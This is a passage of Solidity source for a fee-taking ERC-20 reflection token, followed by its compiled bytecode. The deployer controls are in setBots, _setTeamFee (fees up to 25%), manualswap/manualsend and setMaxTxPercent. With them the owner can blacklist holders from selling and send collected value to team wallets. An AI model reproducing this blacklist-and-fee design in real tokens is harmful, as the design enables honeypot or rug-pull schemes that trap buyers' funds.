function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
// This is done to prevent the taxes from filling up in the router since compiled taxes emptying can impact the chart.
// This reduces the impact of taxes on the chart.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_Marketingfund.transfer(amount.div(2));
_devWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 30000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Deployer);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Deployer);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _Deployer);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external {
require(_msgSender() == _Deployer);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setRouterPercent(uint256 maxRouterPercent) external {
require(_msgSender() == _Deployer);
require(maxRouterPercent > 0, "Amount must be greater than 0");
_routermax = _tTotal.mul(maxRouterPercent).div(10**4);
}
function _setTeamFee(uint256 teamFee) external {
require(_msgSender() == _Deployer);
require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25');
_teamFee = teamFee;
}
} | 0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e9961461044f578063d00efb2f1461048c578063d543dbeb146104b7578063dd62ed3e146104e0578063e01af92c1461051d578063e47d60601461054657610156565b806395d89b4114610367578063a9059cbb14610392578063b515566a146103cf578063c0e6b46e146103f8578063c3c8cd8014610421578063c9567bf91461043857610156565b8063313ce56711610108578063313ce5671461027d5780635932ead1146102a85780636fc3eaec146102d157806370a08231146102e8578063715018a6146103255780638da5cb5b1461033c57610156565b806306fdde031461015b578063095ea7b31461018657806318160ddd146101c357806323b872dd146101ee578063273123b71461022b578063286671621461025457610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610583565b60405161017d91906133b4565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612e98565b6105c0565b6040516101ba9190613399565b60405180910390f35b3480156101cf57600080fd5b506101d86105de565b6040516101e59190613576565b60405180910390f35b3480156101fa57600080fd5b5061021560048036038101906102109190612e45565b6105ef565b6040516102229190613399565b60405180910390f35b34801561023757600080fd5b50610252600480360381019061024d9190612dab565b6106c8565b005b34801561026057600080fd5b5061027b60048036038101906102769190612f7b565b6107b8565b005b34801561028957600080fd5b50610292610874565b60405161029f91906135eb565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca9190612f21565b61087d565b005b3480156102dd57600080fd5b506102e661092f565b005b3480156102f457600080fd5b5061030f600480360381019061030a9190612dab565b6109a1565b60405161031c9190613576565b60405180910390f35b34801561033157600080fd5b5061033a6109f2565b005b34801561034857600080fd5b50610351610b45565b60405161035e91906132cb565b60405180910390f35b34801561037357600080fd5b5061037c610b6e565b60405161038991906133b4565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b49190612e98565b610bab565b6040516103c69190613399565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f19190612ed8565b610bc9565b005b34801561040457600080fd5b5061041f600480360381019061041a9190612f7b565b610cf3565b005b34801561042d57600080fd5b50610436610dd0565b005b34801561044457600080fd5b5061044d610e4a565b005b34801561045b57600080fd5b5061047660048036038101906104719190612dab565b6113ab565b6040516104839190613399565b60405180910390f35b34801561049857600080fd5b506104a1611401565b6040516104ae9190613576565b60405180910390f35b3480156104c357600080fd5b506104de60048036038101906104d99190612f7b565b611407565b005b3480156104ec57600080fd5b5061050760048036038101906105029190612e05565b61151c565b6040516105149190613576565b60405180910390f35b34801561052957600080fd5b50610544600480360381019061053f9190612f21565b6115a3565b005b34801561055257600080fd5b5061056d60048036038101906105689190612dab565b611621565b60405161057a9190613399565b60405180910390f35b60606040518060400160405280600c81526020017f4f7074696d75735072696d650000000000000000000000000000000000000000815250905090565b60006105d46105cd611677565b848461167f565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105fc84848461184a565b6106bd84610608611677565b6106b885604051806060016040528060288152602001613d1b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066e611677565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121109092919063ffffffff16565b61167f565b600190509392505050565b6106d0611677565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610754906134b6565b60405180910390fd5b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107f9611677565b73ffffffffffffffffffffffffffffffffffffffff161461081957600080fd5b6001811015801561082b575060198111155b61086a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086190613436565b60405180910390fd5b8060098190555050565b60006009905090565b610885611677565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610909906134b6565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610970611677565b73ffffffffffffffffffffffffffffffffffffffff161461099057600080fd5b600047905061099e81612174565b50565b60006109eb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461226f565b9050919050565b6109fa611677565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7e906134b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f4f7074696d75735072696d650000000000000000000000000000000000000000815250905090565b6000610bbf610bb8611677565b848461184a565b6001905092915050565b610bd1611677565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c55906134b6565b60405180910390fd5b60005b8151811015610cef576001600e6000848481518110610c8357610c82613933565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce79061388c565b915050610c61565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d34611677565b73ffffffffffffffffffffffffffffffffffffffff1614610d5457600080fd5b60008111610d97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8e90613476565b60405180910390fd5b610dc7612710610db983683635c9adc5dea000006122dd90919063ffffffff16565b61235890919063ffffffff16565b600d8190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e11611677565b73ffffffffffffffffffffffffffffffffffffffff1614610e3157600080fd5b6000610e3c306109a1565b9050610e47816123a2565b50565b610e52611677565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed6906134b6565b60405180910390fd5b60148054906101000a900460ff1615610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2490613536565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610fbd30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061167f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061103b9190612dd8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561109d57600080fd5b505afa1580156110b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d59190612dd8565b6040518363ffffffff1660e01b81526004016110f29291906132e6565b602060405180830381600087803b15801561110c57600080fd5b505af1158015611120573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111449190612dd8565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111cd306109a1565b6000806111d8610b45565b426040518863ffffffff1660e01b81526004016111fa96959493929190613338565b6060604051808303818588803b15801561121357600080fd5b505af1158015611227573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061124c9190612fa8565b5050506001601460166101000a81548160ff0219169083151502179055506000601460176101000a81548160ff0219169083151502179055506801a055690d9db800006015819055504360168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161135592919061330f565b602060405180830381600087803b15801561136f57600080fd5b505af1158015611383573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a79190612f4e565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60165481565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611448611677565b73ffffffffffffffffffffffffffffffffffffffff161461146857600080fd5b600081116114ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a290613476565b60405180910390fd5b6114da60646114cc83683635c9adc5dea000006122dd90919063ffffffff16565b61235890919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6015546040516115119190613576565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166115e4611677565b73ffffffffffffffffffffffffffffffffffffffff161461160457600080fd5b80601460166101000a81548160ff02191690831515021790555050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e690613516565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561175f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175690613416565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161183d9190613576565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118b1906134f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561192a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611921906133d6565b60405180910390fd5b6000811161196d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611964906134d6565b60405180910390fd5b611975610b45565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119e357506119b3610b45565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561204d57601460179054906101000a900460ff1615611c16573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a6557503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611abf5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b195750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c1557601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611b5f611677565b73ffffffffffffffffffffffffffffffffffffffff161480611bd55750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611bbd611677565b73ffffffffffffffffffffffffffffffffffffffff16145b611c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0b90613556565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611c5957601554811115611c5857600080fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cfd5750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d535750600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5c57600080fd5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611e075750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611e755750601460179054906101000a900460ff165b15611f165742600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611ec557600080fd5b600f42611ed291906136ac565b600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611f21306109a1565b9050600d548110611f3257600d5490505b6000600c548210159050601460159054906101000a900460ff16158015611f655750601460169054906101000a900460ff165b8015611f6e5750805b8015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156120225750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561204a57612030826123a2565b600047905060008111156120485761204747612174565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806120f45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156120fe57600090505b61210a8484848461262a565b50505050565b6000838311158290612158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214f91906133b4565b60405180910390fd5b5060008385612167919061378d565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121c460028461235890919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121ef573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61224060028461235890919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561226b573d6000803e3d6000fd5b5050565b60006006548211156122b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122ad906133f6565b60405180910390fd5b60006122c0612657565b90506122d5818461235890919063ffffffff16565b915050919050565b6000808314156122f05760009050612352565b600082846122fe9190613733565b905082848261230d9190613702565b1461234d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161234490613496565b60405180910390fd5b809150505b92915050565b600061239a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612682565b905092915050565b6001601460156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123da576123d9613962565b5b6040519080825280602002602001820160405280156124085781602001602082028036833780820191505090505b50905030816000815181106124205761241f613933565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124c257600080fd5b505afa1580156124d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fa9190612dd8565b8160018151811061250e5761250d613933565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257530601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461167f565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125d9959493929190613591565b600060405180830381600087803b1580156125f357600080fd5b505af1158015612607573d6000803e3d6000fd5b50505050506000601460156101000a81548160ff02191690831515021790555050565b80612638576126376126e5565b5b612643848484612728565b80612651576126506128f3565b5b50505050565b6000806000612664612907565b9150915061267b818361235890919063ffffffff16565b9250505090565b600080831182906126c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126c091906133b4565b60405180910390fd5b50600083856126d89190613702565b9050809150509392505050565b60006008541480156126f957506000600954145b1561270357612726565b600854600a81905550600954600b81905550600060088190555060006009819055505b565b60008060008060008061273a87612969565b95509550955095509550955061279886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129d190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061282d85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287981612a79565b6128838483612b36565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e09190613576565b60405180910390a3505050505050505050565b600a54600881905550600b54600981905550565b600080600060065490506000683635c9adc5dea00000905061293d683635c9adc5dea0000060065461235890919063ffffffff16565b82101561295c57600654683635c9adc5dea00000935093505050612965565b81819350935050505b9091565b60008060008060008060008060006129868a600854600954612b70565b9250925092506000612996612657565b905060008060006129a98e878787612c06565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a1383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612110565b905092915050565b6000808284612a2a91906136ac565b905083811015612a6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a6690613456565b60405180910390fd5b8091505092915050565b6000612a83612657565b90506000612a9a82846122dd90919063ffffffff16565b9050612aee81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a1b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612b4b826006546129d190919063ffffffff16565b600681905550612b6681600754612a1b90919063ffffffff16565b6007819055505050565b600080600080612b9c6064612b8e888a6122dd90919063ffffffff16565b61235890919063ffffffff16565b90506000612bc66064612bb8888b6122dd90919063ffffffff16565b61235890919063ffffffff16565b90506000612bef82612be1858c6129d190919063ffffffff16565b6129d190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c1f85896122dd90919063ffffffff16565b90506000612c3686896122dd90919063ffffffff16565b90506000612c4d87896122dd90919063ffffffff16565b90506000612c7682612c6885876129d190919063ffffffff16565b6129d190919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000612ca2612c9d8461362b565b613606565b90508083825260208201905082856020860282011115612cc557612cc4613996565b5b60005b85811015612cf55781612cdb8882612cff565b845260208401935060208301925050600181019050612cc8565b5050509392505050565b600081359050612d0e81613cd5565b92915050565b600081519050612d2381613cd5565b92915050565b600082601f830112612d3e57612d3d613991565b5b8135612d4e848260208601612c8f565b91505092915050565b600081359050612d6681613cec565b92915050565b600081519050612d7b81613cec565b92915050565b600081359050612d9081613d03565b92915050565b600081519050612da581613d03565b92915050565b600060208284031215612dc157612dc06139a0565b5b6000612dcf84828501612cff565b91505092915050565b600060208284031215612dee57612ded6139a0565b5b6000612dfc84828501612d14565b91505092915050565b60008060408385031215612e1c57612e1b6139a0565b5b6000612e2a85828601612cff565b9250506020612e3b85828601612cff565b9150509250929050565b600080600060608486031215612e5e57612e5d6139a0565b5b6000612e6c86828701612cff565b9350506020612e7d86828701612cff565b9250506040612e8e86828701612d8156